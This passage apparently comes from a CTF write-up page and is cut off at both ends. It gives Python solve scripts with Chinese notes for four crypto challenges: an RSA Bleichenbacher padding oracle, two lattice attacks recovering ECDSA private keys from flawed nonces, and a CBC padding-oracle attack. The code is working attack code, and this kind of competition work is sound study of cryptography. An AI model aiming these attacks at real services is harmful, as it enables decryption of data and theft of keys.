X\u0026gt;\u0026#34; (one line per query) server -\u0026gt; \u0026#34;OK\u0026#34; iff D(X) as k-byte big-endian starts with 00 02, else \u0026#34;BAD\u0026#34; Oracle checks ONLY the first two bytes (verified: short padding / no 00 separator still return OK; type 01 / 03 return BAD), so the conforming set is exactly [2B, 3B) with B = 2^(8(k-2)) -- textbook prefix-only Bleichenbacher. Server processes ~24 queries/sec per connection, so we run several independent attacks in parallel threads (each has its own connection/key) and take whichever finishes first. Usage: solve.py [host] [port] [n_conns] \u0026#34;\u0026#34;\u0026#34; import socket, sys, threading, time, json HOST = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#39;chal.thjcc.org\u0026#39; PORT = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else 12003 NCONNS = int(sys.argv[3]) if len(sys.argv) \u0026gt; 3 else 3 def cdiv(x, y): return -((-x) // y) class OracleConn: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=90) self.s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) self.buf = b\u0026#39;\u0026#39; self.n_sent = 0 self.n_read = 0 self.N = int(self.readline().split()[1], 16) self.E = int(self.readline().split()[1], 16) self.C = int(self.readline().split()[1], 16) def readline(self): while b\u0026#39;\\n\u0026#39; not in self.buf: chunk = self.s.recv(65536) if not chunk: raise EOFError(\u0026#39;server closed\u0026#39;) self.buf += chunk line, self.buf = self.buf.split(b\u0026#39;\\n\u0026#39;, 1) return line def ask_batch(self, multipliers, chunk_hint=256): \u0026#34;\u0026#34;\u0026#34;Send oracle(C * t^e mod N) for each t; returns list of bools.\u0026#34;\u0026#34;\u0026#34; out = [] for i in range(0, len(multipliers), chunk_hint): part = multipliers[i:i+chunk_hint] payload = b\u0026#39;\u0026#39;.join((f\u0026#34;{(self.C * pow(t, self.E, self.N)) % self.N:x}\u0026#34;.zfill(128) + \u0026#39;\\n\u0026#39;).encode() for t in part) self.s.sendall(payload) self.n_sent += len(part) for _ in part: out.append(self.readline() == b\u0026#39;OK\u0026#39;) self.n_read += 1 return out def attack(idx, stop, results, log): def p(msg): log(f\u0026#34;[conn{idx}] {msg}\u0026#34;) for attempt in range(4): if stop.is_set(): return try: oc = OracleConn(HOST, PORT) except Exception as e: p(f\u0026#34;connect failed: {e!r}; retrying\u0026#34;) time.sleep(2) continue N, E, C = oc.N, oc.E, oc.C k = (N.bit_length() + 7) // 8 B = 1 \u0026lt;\u0026lt; (8 * (k - 2)) p(f\u0026#34;N={N:#x} (k={k}) queries={oc.n_sent}\u0026#34;) t_start = time.time() try: # ---- phase 1: find s1 \u0026gt;= ceil(N/3B) with oracle true s = cdiv(N, 3 * B) CHUNK = 256 s1 = None while s1 is None: if stop.is_set(): oc.s.close(); return mults = [s + i for i in range(CHUNK)] res = oc.ask_batch(mults) for t, ok in zip(mults, res): if ok: s1 = t break s += CHUNK if (s - cdiv(N, 3 * B)) % 4096 \u0026lt; CHUNK: rate = oc.n_read / max(time.time() - t_start, 1e-9) p(f\u0026#34;phase1: scanned up to s={s}, {oc.n_read} q, {rate:.0f} q/s\u0026#34;) p(f\u0026#34;phase1 HIT s1={s1} after {oc.n_read} queries ({time.time()-t_start:.0f}s)\u0026#34;) # ---- phase 2 M = [(2 * B, 3 * B - 1)] s_last = s1 m_found = None while m_found is None: if stop.is_set(): oc.s.close(); return if len(M) == 1: a, b = M[0] if b - a \u0026lt;= 16: for cand in range(a, b + 1): if pow(cand, E, N) == C: m_found = cand break else: p(\u0026#34;interval failed to verify -- restarting attack\u0026#34;) break continue r = cdiv(2 * (b * s_last - 2 * B), N) got = False while not got: s_min = cdiv(2 * B + r * N, b) s_max = (3 * B - 1 + r * N) // a if s_min \u0026gt; s_max: r += 1 continue pos = s_min while pos \u0026lt;= s_max and not got: if stop.is_set(): oc.s.close(); return mults = list(range(pos, min(s_max, pos + CHUNK - 1) + 1)) res = oc.ask_batch(mults) for t, ok in zip(mults, res): if ok: s_last = t; got = True; break pos += CHUNK if oc.n_read % 8192 \u0026lt; CHUNK: p(f\u0026#34;2c scanning s~{pos} r={r} q={oc.n_read}\u0026#34;) if not got: r += 1 else: got = False scur = s_last + 1 while not got: if stop.is_set(): oc.s.close(); return mults = [scur + i for i in range(CHUNK)] res = oc.ask_batch(mults) for t, ok in zip(mults, res): if ok: s_last = t; got = True; break scur += CHUNK if oc.n_read % 8192 \u0026lt; CHUNK: p(f\u0026#34;2b scanning s~{scur} q={oc.n_read}\u0026#34;) # step 3: recompute intervals newM = [] for (a, b) in M: rlo = cdiv(a * s_last - 3 * B + 1, N) rhi = (b * s_last - 2 * B) // N for r in range(rlo, rhi + 1): na = max(a, cdiv(2 * B + r * N, s_last)) nb = min(b, (3 * B - 1 + r * N) // s_last) if na \u0026lt;= nb: newM.append((na, nb)) M = newM widths = sum(b2 - a2 + 1 for a2, b2 in M) p(f\u0026#34;phase2: s={s_last} intervals={len(M)} total_width_bits={widths.bit_length()} q={oc.n_read}\u0026#34;) if len(M) == 1 and M[0][1] - M[0][0] \u0026lt;= 16: a, b = M[0] for cand in range(a, b + 1): if pow(cand, E, N) == C: m_found = cand break if m_found is None: continue block = m_found.to_bytes(k, \u0026#39;big\u0026#39;) p(f\u0026#34;RECOVERED after {oc.n_read} queries: {block!r}\u0026#34;) results.append((N, E, C, m_found, oc.n_read)) stop.set() oc.s.close() return except Exception as e: p(f\u0026#34;error after {oc.n_read} queries: {e!r}; restarting\u0026#34;) try: oc.s.close() except Exception: pass time.sleep(1) def main(): stop = threading.Event() results = [] logs = [] loglock = threading.Lock() def log(msg): with loglock: print(f\u0026#34;{time.strftime(\u0026#39;%H:%M:%S\u0026#39;)} {msg}\u0026#34;, flush=True) threads = [threading.Thread(target=attack, args=(i, stop, results, log), daemon=True) for i in range(NCONNS)] for t in threads: t.start() for t in threads: t.join() if results: N, E, C, m, nq = results[0] block = m.to_bytes((N.bit_length() + 7) // 8, \u0026#39;big\u0026#39;) sep = block.index(0, 2) flag = block[sep + 1:] print(\u0026#34;FLAG:\u0026#34;, flag.decode(errors=\u0026#39;replace\u0026#39;), flush=True) with open(\u0026#39;session_result.json\u0026#39;, \u0026#39;w\u0026#39;) as f: json.dump({\u0026#39;N\u0026#39;: hex(N), \u0026#39;E\u0026#39;: hex(E), \u0026#39;C\u0026#39;: hex(C), \u0026#39;m\u0026#39;: hex(m), \u0026#39;queries\u0026#39;: nq, \u0026#39;flag\u0026#39;: flag.decode(errors=\u0026#39;replace\u0026#39;)}, f, indent=1) else: print(\u0026#34;no result\u0026#34;, flush=True) if __name__ == \u0026#39;__main__\u0026#39;: main() Schizophrenic Signer Flag：THJCC{w0w_y0u_f0und_th3_h1dd3n_d3lt4_b3tw33n_p_4nd_q!}\nLCG-nonce 双世界 HNP：p−q≈2¹²⁸ ⇒ k=state，商 t_i 消 d 归一化成 t_i≡A_i·t_0+B_i (mod q)；坐标加权(w=9) Kannan 嵌入 + BKZ-40。\n发现过程：p−q≈2¹²⁸ 由 secp256k1 曲线常数直接算出——state mod q 的折叠以 1−2⁻¹²⁸ 概率不折叠，k=state 才成立；LCG 参数 a、b 明文给出，唯一隐藏量是更新时的商 t_i。真正的坎在格：朴素中心化嵌入的目标在 0.9·GH 附近，LLL/BKZ 怎么跑都不收敛（前一会话卡 8 小时的根因）；把 84 个陪集坐标统一乘 w=9（≈K·√12/a）、嵌入行取 K=2.65a，目标降到 ~0.55·GH，BKZ-40 秒出。a 每连接随机，log2(a)≤252.45 的\u0026quot;软实例\u0026quot;约占 36%——重连挑软的（实测第 4 次连接 15 秒解出）。\n📜 Schizophrenic Signer solve.py（215 行，核心 lattice_solve@1283 / try_extract@1320）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Schizophrenic Signer (THJCC Summer 2026, crypto, challenge 27) — full solve. Protocol (handout/server.py): server prints pubkey, LCG params a, b, then 85 ECDSA signatures (h, r, s) over fixed messages, generated with nonces k_i = ((LCG state mod p) mod q); asks for private key d in hex -\u0026gt; flag. Attack: * state_{i+1} = a*state_i + b - t_i*p with t_i = floor((a*state_i+b)/p) in [0, a) and k_i = state_i (p - q = D ~ 2^128 \u0026lt;\u0026lt; q, so state % q = state w.h.p.) * ECDSA: k_i = alpha_i + beta_i*d (mod q), alpha_i = h_i/s_i, beta_i = r_i/s_i * =\u0026gt; w_i + e_i*d = t_i*D (mod q) with e_i = beta_{i+1} - a*beta_i, w_i = a*alpha_i + b - alpha_{i+1} * eliminate d via equation 0: t_i = A_i*t_0 + B_i (mod q), i = 1..83 * weighted centered Kannan embedding, dim 85: rows w*(1, A_1..A_83 | 0), w*q*e_i, (w*C_1..w*C_83 | K) with C_i = B_i + A_i*half - half mod q, half = a//2, K = 2.65a, w = 9 -\u0026gt; target vector (w*(t_i - half)... | K) sits at ~0.55*GH: uSVP, BKZ-30/40 * candidate t_0 -\u0026gt; d = (w_0 - D*t_0)/e_0 mod q, verify d*G == pub * reconnect until log2(a) \u0026lt;= 0.45 + 252 (small a = easier lattice) Usage: python3 solve.py --host chal.thjcc.org --port 11451 python3 solve.py --local (spawns handout/server.py) \u0026#34;\u0026#34;\u0026#34; import argparse import math import os import re import sys import time HERE = os.path.dirname(os.path.abspath(__file__)) sys.path.insert(0, HERE) os.chdir(HERE) from pwn import remote, process, context from fpylll import IntegerMatrix, LLL, BKZ from fpylll.algorithms.bkz2 import BKZReduction as BKZ2 # secp256k1 p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F q = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 G_x = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 G_y = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 G = (G_x, G_y) D = p - q ACCEPT_LOG2A = 252.45 # reconnect if log2(a) above this (lattice gets too tight) def add(P1, P2): if P1 is None: return P2 if P2 is None: return P1 x1, y1 = P1; x2, y2 = P2 if x1 == x2 and y1 != y2: return None if x1 == x2: l = (3 * x1 * x1) * pow(2 * y1, -1, p) % p else: l = (y2 - y1) * pow(x2 - x1, -1, p) % p x3 = (l * l - x1 - x2) % p y3 = (l * (x1 - x3) - y1) % p return (x3, y3) def mul(pt, n): res = None; curr = pt; n = n % q while n: if n \u0026amp; 1: res = add(res, curr) curr = add(curr, curr) n \u0026gt;\u0026gt;= 1 return res def connect(args): if args.local: return process([\u0026#34;python3\u0026#34;, os.path.join(HERE, \u0026#34;handout\u0026#34;, \u0026#34;server.py\u0026#34;)], env={\u0026#34;FLAG\u0026#34;: \u0026#34;THJCC{local_test_flag}\u0026#34;, \u0026#34;PATH\u0026#34;: os.environ[\u0026#34;PATH\u0026#34;]}) return remote(args.host, args.port) def get_transcript(io): data = io.recvuntil(b\u0026#34;Private Key (d) in hex:\u0026#34;, timeout=60).decode(errors=\u0026#34;replace\u0026#34;) m = re.search(r\u0026#34;Public Key: \\(0x([0-9a-f]+), 0x([0-9a-f]+)\\)\u0026#34;, data) pub = (int(m.group(1), 16), int(m.group(2), 16)) m = re.search(r\u0026#34;a = 0x([0-9a-f]+), b = 0x([0-9a-f]+)\u0026#34;, data) a, b = int(m.group(1), 16), int(m.group(2), 16) sigs = [] for mh, mr, ms in re.findall(r\u0026#34;h = 0x([0-9a-f]+)\\nr = 0x([0-9a-f]+)\\ns = 0x([0-9a-f]+)\u0026#34;, data): sigs.append((int(mh, 16), int(mr, 16), int(ms, 16))) return pub, a, b, sigs def lattice_solve(a, b, pub, sigs, deadline=None, verbose=True): \u0026#34;\u0026#34;\u0026#34;Weighted centered Kannan embedding + BKZ ladder. Returns d or None.\u0026#34;\u0026#34;\u0026#34; m = len(sigs) - 1 alpha = [h * pow(s, -1, q) % q for h, r, s in sigs] beta = [r * pow(s, -1, q) % q for h, r, s in sigs] e = [(beta[i + 1] - a * beta[i]) % q for i in range(m)] wv = [(a * alpha[i] + b - alpha[i + 1]) % q for i in range(m)] inv_e0 = pow(e[0], -1, q) invD = pow(D, -1, q) A = [0] * m B = [0] * m for i in range(1, m): A[i] = e[i] * inv_e0 % q B[i] = (wv[i] - A[i] * wv[0]) % q * invD % q half = a // 2 C = [(B[i] + A[i] * half - half) % q for i in range(1, m)] K = round(2.65 * a) ws = 9 # ~ K*sqrt(12)/a: equalizes expected per-coordinate contribution dim = m + 1 M = IntegerMatrix(dim, dim) M[0, 0] = ws for i in range(1, m): M[0, i] = ws * A[i] for i in range(1, m): M[i, i] = ws * q for i in range(1, m): M[m, i] = ws * C[i - 1] M[m, m] = K cache = {} def pub_ok(dd): if dd not in cache: cache[dd] = 0 \u0026lt; dd \u0026lt; q and mul(G, dd) == pub return cache[dd] def try_extract(): for row in range(dim): if abs(M[row, m]) != K or M[row, 0] % ws != 0: continue x = M[row, 0] // ws for t0 in (half + x, half - x): if 0 \u0026lt;= t0 \u0026lt; a: dd = (wv[0] - D * t0) % q * inv_e0 % q if pub_ok(dd): return dd return None t0 = time.time() LLL.reduction(M) r = try_extract() if r: if verbose: print(f\u0026#34;[+] LLL: {time.time()-t0:.0f}s\u0026#34;, flush=True) return r bkz = BKZ2(M) for blk in (30, 40, 50, 56): if deadline and time.time() \u0026gt; deadline: return None t1 = time.time() bkz(BKZ.Param(block_size=blk, max_loops=6, flags=BKZ.AUTO_ABORT | BKZ.MAX_LOOPS | BKZ.GH_BND)) if verbose: print(f\u0026#34;[*] BKZ2-{blk}: {time.time()-t1:.0f}s\u0026#34;, flush=True) r = try_extract() if r: return r return None def main(): ap = argparse.ArgumentParser() ap.add_argument(\u0026#34;--host\u0026#34;, default=\u0026#34;chal.thjcc.org\u0026#34;) ap.add_argument(\u0026#34;--port\u0026#34;, type=int, default=11451) ap.add_argument(\u0026#34;--local\u0026#34;, action=\u0026#34;store_true\u0026#34;) ap.add_argument(\u0026#34;--max-tries\u0026#34;, type=int, default=30) ap.add_argument(\u0026#34;--budget\u0026#34;, type=int, default=300, help=\u0026#34;lattice seconds per attempt\u0026#34;) args = ap.parse_args() context.log_level = \u0026#34;warn\u0026#34; for attempt in range(1, args.max_tries + 1): print(f\u0026#34;[connect #{attempt}]\u0026#34;, flush=True) io = connect(args) try: pub, a, b, sigs = get_transcript(io) except Exception as ex: print(f\u0026#34;[-] parse failed: {ex}\u0026#34;, flush=True) io.close() continue if len(sigs) != 85: print(f\u0026#34;[-] expected 85 sigs, got {len(sigs)}\u0026#34;, flush=True) io.close() continue la = math.log2(a) print(f\u0026#34;[*] a: log2 = {la:.3f} ({\u0026#39;ACCEPT\u0026#39; if la \u0026lt;= ACCEPT_LOG2A else \u0026#39;too big, reconnect\u0026#39;})\u0026#34;, flush=True) if la \u0026gt; ACCEPT_LOG2A: io.close() time.sleep(1) continue t0 = time.time() d = lattice_solve(a, b, pub, sigs, deadline=time.time() + args.budget) if d is None: print(\u0026#34;[-] lattice failed on this instance, reconnecting\u0026#34;, flush=True) io.close() continue print(f\u0026#34;[+] d = {hex(d)} ({time.time()-t0:.0f}s)\u0026#34;, flush=True) io.sendline(hex(d).encode()) resp = io.recvall(timeout=20).decode(errors=\u0026#34;replace\u0026#34;) print(resp, flush=True) m = re.search(r\u0026#34;THJCC\\{[^}]*\\}\u0026#34;, resp) if m: print(f\u0026#34;[*] FLAG: {m.group(0)}\u0026#34;, flush=True) return print(\u0026#34;[-] exhausted attempts\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Lattice of Doom\nFlag：THJCC{l4tt1c3s_turn_b14s3d_n0nc3s_1nt0_pr1v4t3_k3ys}\n|k_i| \u0026lt; 2²³² 的 HNP：整数化满秩格（对角 N²、d 行系数 B、常数行 B·N），LLL 后最短向量给出私钥，AES-CBC 派生密钥解 flag。\n发现过程：附件 signer_excerpt.py 里 NONCE_BYTES = 29——nonce 只有 232 位、比曲线阶 256 位少 24 位，即偏置 nonce；README 明示 \u0026ldquo;Many small things together are a lattice problem\u0026rdquo; 指向 HNP。格构造两个坑：B 与 B·N 必须分占两个独立列（放同一列矩阵秩亏缺、LLL 出零行）；还原时候选要试 y//B ± N 并用 cand·G == Q 验证唯一性。\n📜 Lattice of Doom solve.py（125 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Lattice of Doom (THJCC CTF Summer 2026, Crypto) — one-shot solve. Attack: ECDSA (secp256k1) with biased nonces -\u0026gt; Hidden Number Problem -\u0026gt; LLL. The firmware signs with 29-byte (232-bit) nonces; the curve order N is 256 bits. From s_i = k_i^-1 (h_i + r_i*d) mod N we get k_i = a_i*d + b_i mod N with |k_i| \u0026lt; 2^232, a classic HNP. Recover d with a lattice, then decrypt the flag (AES-128-CBC, key = sha256(b\u0026#34;wallet-v1|\u0026#34; + d.to_bytes(32,\u0026#39;big\u0026#39;))[:16]). Requires: fpylll, pycryptodome (pip install fpylll pycryptodome) Run from the challenge directory (expects handout/output.json). \u0026#34;\u0026#34;\u0026#34; import hashlib import json from pathlib import Path from Crypto.Cipher import AES from fpylll import IntegerMatrix, LLL # secp256k1 parameters P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 def sha256_int(b: bytes) -\u0026gt; int: return int.from_bytes(hashlib.sha256(b).digest(), \u0026#34;big\u0026#34;) def point_mul(k: int): \u0026#34;\u0026#34;\u0026#34;Scalar multiplication on secp256k1 (double-and-add).\u0026#34;\u0026#34;\u0026#34; def add(p, q): if p is None: return q if q is None: return p x1, y1 = p x2, y2 = q if x1 == x2 and (y1 + y2) % P == 0: return None if p == q: lam = (3 * x1 * x1) * pow(2 * y1, -1, P) % P else: lam = (y2 - y1) * pow(x2 - x1, -1, P) % P x3 = (lam * lam - x1 - x2) % P y3 = (lam * (x1 - x3) - y1) % P return (x3, y3) r = None base = (Gx, Gy) while k: if k \u0026amp; 1: r = add(r, base) base = add(base, base) k \u0026gt;\u0026gt;= 1 return r def main(): for p in (\u0026#34;output.json\u0026#34;, \u0026#34;handout/output.json\u0026#34;, \u0026#34;handout/chal-Lattice-of-Doom/output.json\u0026#34;): if Path(p).exists(): break data = json.loads(Path(p).read_text()) Q = (int(data[\u0026#34;Qx\u0026#34;], 16), int(data[\u0026#34;Qy\u0026#34;], 16)) n = len(data[\u0026#34;signatures\u0026#34;]) B = 1 \u0026lt;\u0026lt; 232 # nonce bound: 29 bytes # k_i = a_i*d + b_i (mod N), a_i = s_i^-1 r_i, b_i = s_i^-1 h_i a, b = [], [] for sig in data[\u0026#34;signatures\u0026#34;]: h = sha256_int(bytes.fromhex(sig[\u0026#34;msg\u0026#34;])) r = int(sig[\u0026#34;r\u0026#34;], 16) s = int(sig[\u0026#34;s\u0026#34;], 16) si = pow(s, -1, N) a.append(si * r % N) b.append(si * h % N) # HNP lattice, full rank n+2 (integer version of the rational # construction with B/N coefficient on d, uniformly scaled by N): # v_i = N^2 * e_i (i = 0..n-1) # v_a = (a_j*N ..., B, 0) # v_b = (b_j*N ..., 0, B*N) # target vector = d*v_a + v_b - sum q_i*v_i = (N*k_j, B*d, B*N) m = n + 2 M = IntegerMatrix(m, m) for i in range(n): M[i, i] = N * N for j in range(n): M[n, j] = a[j] * N M[n + 1, j] = b[j] * N M[n, n] = B M[n + 1, n + 1] = B * N LLL.reduction(M) # the reduced basis contains the target; its column n is B*d (+/- shifts) d = None for row in M: y = row[n] if y == 0: continue for cand in (y // B, -y // B, y // B - N, -y // B - N, y // B + N, -y // B + N): if 0 \u0026lt; cand \u0026lt; N and point_mul(cand) == Q: d = cand break if d: break if d is None: raise SystemExit(\u0026#34;[-] lattice attack failed\u0026#34;) print(f\u0026#34;[+] private key d = {d:#x}\u0026#34;) # decrypt flag: AES-128-CBC, key = sha256(b\u0026#39;wallet-v1|\u0026#39; + d32)[:16] key = hashlib.sha256(b\u0026#34;wallet-v1|\u0026#34; + d.to_bytes(32, \u0026#34;big\u0026#34;)).digest()[:16] ct = bytes.fromhex(data[\u0026#34;flag_enc\u0026#34;]) pt = AES.new(key, AES.MODE_CBC, iv=b\u0026#34;\\x00\u0026#34; * 16).decrypt(ct) flag = pt.split(b\u0026#34;THJCC{\u0026#34;)[1] flag = b\u0026#34;THJCC{\u0026#34; + flag.split(b\u0026#34;}\u0026#34;)[0] + b\u0026#34;}\u0026#34; print(f\u0026#34;[+] FLAG: {flag.decode()}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Oracle of Padding\nFlag：THJCC{p4dd1ng_0r4cl3s_l34k_0n3_byt3_p3r_qu3ry}\n服务端只验提交密文最后一块 padding → 截断 IV‖C1..Ck 把 Ck 当最后一块逐字节解（修改 C_{k-1}，k=1 时即改 IV）。\n发现过程（前一轮失败的两个根因，已修）：①索引错位——要改的块是被攻击块的前一块 tok[16*(k-1)]，写成 C_{k-2} 会全错；②oracle 语义——全 112B 提交时中间块改动恒 OK，必须截断提交让目标块成为最后一块。另：pos=0 的双命中（pad=1 真命中 + 意外长 padding 假命中）用 pos=1 全扫描消歧（假命中会让 pos=1 出现 256 个 OK）。\n📜 Oracle of Padding solve.py（215 行，核心 decrypt_block@1626：截断提交 + pos=0 消歧）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Oracle of Padding - corrected CBC padding oracle attack. Root causes fixed vs the previous attempt: 1. Index bug: to decrypt plaintext block P_k (k=1..6) we must modify the block BEFORE C_k inside the submitted token, i.e. token offset 16*(k-1) (IV for k=1). The old code wrote 16*(bi-1) with bi off by one. 2. Oracle semantics: the server only validates the padding of the LAST block of the SUBMITTED ciphertext. A full 112-byte submission ignores changes to IV/C1..C4 (always OK -\u0026gt; the 20s garbage run). Fix: submit the TRUNCATED token tok[:16*(k+1)] = IV || C_1..C_k so block k becomes the last block. Protocol: connect -\u0026gt; \u0026#34;TOKEN \u0026lt;hex\u0026gt;\u0026#34; (112 bytes = IV||C1..C6, per-connection fresh IV, same flag plaintext). Send hex line, receive \u0026#34;OK\u0026#34;/\u0026#34;BAD\u0026#34;. \u0026#34;\u0026#34;\u0026#34; import json import os import socket import sys import threading import time HOST = os.environ.get(\u0026#34;ORACLE_HOST\u0026#34;, \u0026#34;chal.thjcc.org\u0026#34;) PORT = int(os.environ.get(\u0026#34;ORACLE_PORT\u0026#34;, \u0026#34;12000\u0026#34;)) BLOCK = 16 N_BLOCKS = 6 STATE_FILE = \u0026#34;/tmp/oracle_attack_state.json\u0026#34; # Known plaintext shortcuts (verified format), block index -\u0026gt; {pos: byte} KNOWN = {1: {j: ord(c) for j, c in enumerate(\u0026#34;THJCC{\u0026#34;)}} state_lock = threading.Lock() state = {\u0026#34;blocks\u0026#34;: {k: [None] * BLOCK for k in range(1, N_BLOCKS + 1)}, \u0026#34;done\u0026#34;: {}, \u0026#34;t0\u0026#34;: time.time()} class Oracle: def __init__(self): self.sock = socket.create_connection((HOST, PORT), timeout=10) self.sock.settimeout(15) line = self._readline() if not line or not line.startswith(b\u0026#34;TOKEN \u0026#34;): raise RuntimeError(f\u0026#34;bad banner {line!r}\u0026#34;) self.token = bytes.fromhex(line[6:].decode().strip()) if len(self.token) != 16 * (N_BLOCKS + 1): raise RuntimeError(f\u0026#34;unexpected token len {len(self.token)}\u0026#34;) def _readline(self): buf = b\u0026#34;\u0026#34; while b\u0026#34;\\n\u0026#34; not in buf: chunk = self.sock.recv(4096) if not chunk: raise ConnectionError(\u0026#34;closed\u0026#34;) buf += chunk return buf.split(b\u0026#34;\\n\u0026#34;)[0] def query(self, data): self.sock.sendall(bytes(data).hex().encode() + b\u0026#34;\\n\u0026#34;) return self._readline() == b\u0026#34;OK\u0026#34; def close(self): try: self.sock.close() except Exception: pass def log(msg): print(f\u0026#34;[{time.time() - state[\u0026#39;t0\u0026#39;]:7.1f}s] {msg}\u0026#34;, flush=True) def decrypt_block(orc, k, report): \u0026#34;\u0026#34;\u0026#34;Recover plaintext block P_k. Returns bytes(16). Submissions are truncated to IV||C_1..C_k; we modify C_{k-1} (offset 16*(k-1), the IV itself for k=1). \u0026#34;\u0026#34;\u0026#34; tok = orc.token off = 16 * (k - 1) # offset of the block we modify sub_len = 16 * (k + 1) # IV || C_1..C_k prev = tok[off:off + BLOCK] # original previous block known = KNOWN.get(k, {}) D = [0] * BLOCK def sub_for(pos, pad): s = bytearray(tok[:sub_len]) for j in range(BLOCK - pos, BLOCK): s[off + j] = D[j] ^ pad return s pos = 0 while pos \u0026lt; BLOCK: j = BLOCK - 1 - pos pad = pos + 1 if j in known: D[j] = known[j] ^ prev[j] report(pos, D[j] ^ prev[j], True) pos += 1 continue s = sub_for(pos, pad) cands = [] for g in range(256): s[off + j] = g ok = orc.query(s) if ok: cands.append(g) if pos \u0026gt; 0: break # pos\u0026gt;=1 can only have one OK (tail forced) if not cands: raise RuntimeError(f\u0026#34;block {k} pos {pos}: dead end (0 OK)\u0026#34;) if pos == 0 and len(cands) \u0026gt; 1: # Classic pad=1 vs accidental longer-padding double hit. # Disambiguate at pos 1 with a FULL scan: the true candidate yields # exactly 1 OK, a false one forces P[15]=1 -\u0026gt; 256 OKs. for c in cands: D[j] = c ^ pad s2 = sub_for(1, 2) hits = [] for g in range(256): s2[off + BLOCK - 2] = g if orc.query(s2): hits.append(g) if len(hits) == 1: D[j] = c ^ 1 D[BLOCK - 2] = hits[0] ^ 2 report(0, D[j] ^ prev[j], False) report(1, D[BLOCK - 2] ^ prev[BLOCK - 2], False) pos = 2 break if pos == 2: continue raise RuntimeError(f\u0026#34;block {k}: no pos-0 candidate survived\u0026#34;) D[j] = cands[0] ^ pad report(pos, D[j] ^ prev[j], False) pos += 1 return bytes(D[i] ^ prev[i] for i in range(BLOCK)) def worker(k): while k not in state[\u0026#34;done\u0026#34;]: orc = None try: orc = Oracle() def report(pos, byte, free): with state_lock: state[\u0026#34;blocks\u0026#34;][k][BLOCK - 1 - pos] = byte ch = chr(byte) if 32 \u0026lt;= byte \u0026lt; 127 else \u0026#34;.\u0026#34; log(f\u0026#34;block {k} pos {pos:2d}: {byte:#04x} \u0026#39;{ch}\u0026#39;\u0026#34; + (\u0026#34; (known)\u0026#34; if free else \u0026#34;\u0026#34;)) pt = decrypt_block(orc, k, report) with state_lock: state[\u0026#34;done\u0026#34;][k] = pt.hex() log(f\u0026#34;block {k} DONE: {pt!r}\u0026#34;) except Exception as e: log(f\u0026#34;block {k} error: {e}; reconnecting\u0026#34;) time.sleep(2) finally: if orc: orc.close() def monitor(threads): while any(t.is_alive() for t in threads): time.sleep(15) with state_lock: done = dict(state[\u0026#34;done\u0026#34;]) rows = [] for k in range(1, N_BLOCKS + 1): if k in done: rows.append(f\u0026#34;B{k}={done[k]}\u0026#34;) else: cells = state[\u0026#34;blocks\u0026#34;][k] n = sum(1 for c in cells if c is not None) rows.append(f\u0026#34;B{k}:back_{n}/16\u0026#34;) log(f\u0026#34;progress {rows}\u0026#34;) with open(STATE_FILE, \u0026#34;w\u0026#34;) as f: json.dump({\u0026#34;done\u0026#34;: done, \u0026#34;blocks\u0026#34;: { k: [None if c is None else c for c in 